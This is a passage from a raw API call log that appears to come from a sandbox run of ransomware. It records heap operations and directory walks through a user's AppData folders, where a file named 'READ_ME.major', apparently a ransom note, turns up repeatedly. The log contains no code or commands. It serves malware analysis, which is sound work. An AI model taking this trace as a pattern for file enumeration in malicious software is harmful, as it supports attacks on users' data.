CloseHandle (hObject=0x10a4) returned 1 [0199.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bd3b8 | out: hHeap=0x570000) returned 1 [0199.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2a0 | out: hHeap=0x570000) returned 1 [0199.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d350 | out: hHeap=0x570000) returned 1 [0199.905] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6625e8 | out: hHeap=0x570000) returned 1 [0199.905] FindNextFileW (in: hFindFile=0x30fb2c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xc46d85ab, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf3e0632, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4bebab4, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0199.905] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0199.905] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0199.905] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8a9b8 [0199.905] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0199.905] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8e00 [0199.905] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8a9b8 | out: hHeap=0x570000) returned 1 [0199.905] GetLastError () returned 0x0 [0199.905] SetLastError (dwErrCode=0x0) [0199.905] GetLastError () returned 0x0 [0199.905] SetLastError (dwErrCode=0x0) [0199.905] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5b4f18 [0199.905] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee8e00 | out: hHeap=0x570000) returned 1 [0199.905] GetLastError () returned 0x0 [0199.905] SetLastError (dwErrCode=0x0) [0199.906] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6870 [0199.906] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65a0 [0199.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6870 | out: hHeap=0x570000) returned 1 [0199.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65a0 | out: hHeap=0x570000) returned 1 [0199.906] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40f0 [0199.906] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0199.906] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be898 [0199.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be898 | out: hHeap=0x570000) returned 1 [0199.906] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6668 [0199.906] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6938 [0199.906] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x30fb100 [0199.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x30fb100 | out: hHeap=0x570000) returned 1 [0199.906] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee67f8 [0199.906] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40480 [0199.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40480 | out: hHeap=0x570000) returned 1 [0199.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee67f8 | out: hHeap=0x570000) returned 1 [0199.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6938 | out: hHeap=0x570000) returned 1 [0199.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6668 | out: hHeap=0x570000) returned 1 [0199.907] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0199.907] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40f0 | out: hHeap=0x570000) returned 1 [0199.907] FindNextFileW (in: hFindFile=0x30fb2c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x307f8f38, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x307f8f38, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x307f8f38, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0199.907] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0199.907] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0199.907] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b2c0 [0199.907] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0199.907] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8e00 [0199.907] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b2c0 | out: hHeap=0x570000) returned 1 [0199.907] GetLastError () returned 0x0 [0199.907] SetLastError (dwErrCode=0x0) [0199.907] GetLastError () returned 0x0 [0199.907] SetLastError (dwErrCode=0x0) [0199.907] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5b4f18 [0199.907] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee8e00 | out: hHeap=0x570000) returned 1 [0199.907] GetLastError () returned 0x0 [0199.907] SetLastError (dwErrCode=0x0) [0199.907] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6668 [0199.908] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6668 | out: hHeap=0x570000) returned 1 [0199.908] FindNextFileW (in: hFindFile=0x30fb2c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7662ba0f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf74691a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7662ba0f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0199.908] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0199.908] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0199.908] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8aa40 [0199.908] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0199.908] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8a18 [0199.908] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8aa40 | out: hHeap=0x570000) returned 1 [0199.908] GetLastError () returned 0x0 [0199.908] SetLastError (dwErrCode=0x0) [0199.908] GetLastError () returned 0x0 [0199.908] SetLastError (dwErrCode=0x0) [0199.908] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5b4f18 [0199.908] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee8a18 | out: hHeap=0x570000) returned 1 [0199.908] GetLastError () returned 0x0 [0199.908] SetLastError (dwErrCode=0x0) [0199.908] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0199.908] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5becb8 [0199.909] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5becb8 | out: hHeap=0x570000) returned 1 [0199.909] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6870 [0199.909] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x30fb580 [0199.909] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x30fb580 | out: hHeap=0x570000) returned 1 [0199.909] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40648 [0199.909] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40648 | out: hHeap=0x570000) returned 1 [0199.909] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6870 | out: hHeap=0x570000) returned 1 [0199.909] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0199.909] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x65ff80 [0199.909] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6668 [0199.909] FindNextFileW (in: hFindFile=0x30fb2c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7662ba0f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf74691a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7662ba0f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 0 [0199.909] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x65fcf8 [0199.909] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65fc20 | out: hHeap=0x570000) returned 1 [0199.909] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x669aa8 | out: hHeap=0x570000) returned 1 [0199.909] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9fb0 | out: hHeap=0x570000) returned 1 [0199.909] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x765df54b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf746fc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3081f21b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fb100 [0199.910] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0199.910] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0199.910] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b5f0 [0199.910] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0199.910] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8a18 [0199.910] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b5f0 | out: hHeap=0x570000) returned 1 [0199.910] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5b4f18 [0199.910] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee8a18 | out: hHeap=0x570000) returned 1 [0199.910] GetLastError () returned 0x12 [0199.910] SetLastError (dwErrCode=0x12) [0199.910] GetLastError () returned 0x12 [0199.910] SetLastError (dwErrCode=0x12) [0199.910] GetLastError () returned 0x12 [0199.910] SetLastError (dwErrCode=0x12) [0199.911] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0199.911] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be898 [0199.911] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be898 | out: hHeap=0x570000) returned 1 [0199.911] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6690 [0199.911] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x30fb240 [0199.911] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x30fb240 | out: hHeap=0x570000) returned 1 [0199.911] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403c0 [0199.911] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403c0 | out: hHeap=0x570000) returned 1 [0199.911] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6690 | out: hHeap=0x570000) returned 1 [0199.911] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0199.911] FindNextFileW (in: hFindFile=0x30fb100, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x765df54b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf746fc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3081f21b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0199.911] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0199.911] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0199.911] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b568 [0199.911] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0199.911] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8a18 [0199.912] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b568 | out: hHeap=0x570000) returned 1 [0199.912] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5b4f18 [0199.912] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee8a18 | out: hHeap=0x570000) returned 1 [0199.912] GetLastError () returned 0x12 [0199.912] SetLastError (dwErrCode=0x12) [0199.912] GetLastError () returned 0x12 [0199.912] SetLastError (dwErrCode=0x12) [0199.912] GetLastError () returned 0x12 [0199.912] SetLastError (dwErrCode=0x12) [0199.912] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0199.912] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bec08 [0199.912] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bec08 | out: hHeap=0x570000) returned 1 [0199.912] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6a28 [0199.912] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x30fb5c0 [0199.912] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x30fb5c0 | out: hHeap=0x570000) returned 1 [0199.913] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40450 [0199.913] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40450 | out: hHeap=0x570000) returned 1 [0199.913] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6a28 | out: hHeap=0x570000) returned 1 [0199.913] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0199.913] FindNextFileW (in: hFindFile=0x30fb100, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3081f21b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3081f21b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3081f21b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0199.913] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0199.913] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0199.913] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b458 [0199.913] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0199.913] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8ae0 [0199.913] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b458 | out: hHeap=0x570000) returned 1 [0199.913] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5b4f18 [0199.913] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee8ae0 | out: hHeap=0x570000) returned 1 [0199.913] GetLastError () returned 0x12 [0199.913] SetLastError (dwErrCode=0x12) [0199.913] GetLastError () returned 0x12 [0199.913] SetLastError (dwErrCode=0x12) [0199.913] GetLastError () returned 0x12 [0199.914] SetLastError (dwErrCode=0x12) [0199.914] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6690 [0199.914] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6690 | out: hHeap=0x570000) returned 1 [0199.914] FindNextFileW (in: hFindFile=0x30fb100, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3081f21b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3081f21b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3081f21b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0199.914] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x663298 [0199.914] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65fcf8 | out: hHeap=0x570000) returned 1 [0199.914] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6698f8 | out: hHeap=0x570000) returned 1 [0199.914] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9f60 | out: hHeap=0x570000) returned 1 [0199.914] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x765df54b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf74778d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3081f21b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fb240 [0199.914] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0199.914] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0199.914] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b678 [0199.914] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0199.915] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8a18 [0199.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b678 | out: hHeap=0x570000) returned 1 [0199.915] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5b4f18 [0199.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee8a18 | out: hHeap=0x570000) returned 1 [0199.915] GetLastError () returned 0x12 [0199.915] SetLastError (dwErrCode=0x12) [0199.915] GetLastError () returned 0x12 [0199.915] SetLastError (dwErrCode=0x12) [0199.915] GetLastError () returned 0x12 [0199.915] SetLastError (dwErrCode=0x12) [0199.915] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0199.915] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be840 [0199.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be840 | out: hHeap=0x570000) returned 1 [0199.915] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6960 [0199.915] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x30fb580 [0199.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x30fb580 | out: hHeap=0x570000) returned 1 [0199.915] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405d0 [0199.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405d0 | out: hHeap=0x570000) returned 1 [0199.916] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6960 | out: hHeap=0x570000) returned 1 [0199.916] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0199.916] FindNextFileW (in: hFindFile=0x30fb240, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x765df54b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf74778d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3081f21b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0199.916] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0199.916] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0199.916] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b700 [0199.916] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0199.916] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8e00 [0199.916] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b700 | out: hHeap=0x570000) returned 1 [0199.916] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5b4f18 [0199.916] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee8e00 | out: hHeap=0x570000) returned 1 [0199.916] GetLastError () returned 0x12 [0199.916] SetLastError (dwErrCode=0x12) [0199.916] GetLastError () returned 0x12 [0199.916] SetLastError (dwErrCode=0x12) [0199.916] GetLastError () returned 0x12 [0199.916] SetLastError (dwErrCode=0x12) [0199.917] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0199.917] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5becb8 [0199.917] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5becb8 | out: hHeap=0x570000) returned 1 [0199.917] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6690 [0199.917] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x30fb340 [0199.917] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x30fb340 | out: hHeap=0x570000) returned 1 [0199.917] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40588 [0199.917] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40588 | out: hHeap=0x570000) returned 1 [0199.917] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6690 | out: hHeap=0x570000) returned 1 [0199.917] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0199.917] FindNextFileW (in: hFindFile=0x30fb240, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3081f21b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3081f21b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3081f21b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0199.917] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0199.917] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0199.917] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b348 [0199.917] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0199.917] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8ae0 [0199.917] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b348 | out: hHeap=0x570000) returned 1 [0199.917] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5b4f18 [0199.917] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee8ae0 | out: hHeap=0x570000) returned 1 [0199.918] GetLastError () returned 0x12 [0199.918] SetLastError (dwErrCode=0x12) [0199.918] GetLastError () returned 0x12 [0199.918] SetLastError (dwErrCode=0x12) [0199.918] GetLastError () returned 0x12 [0199.918] SetLastError (dwErrCode=0x12) [0199.918] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6780 [0199.918] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6780 | out: hHeap=0x570000) returned 1 [0199.918] FindNextFileW (in: hFindFile=0x30fb240, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3081f21b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3081f21b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3081f21b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0199.918] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662e10 [0199.918] HeapFree (in: 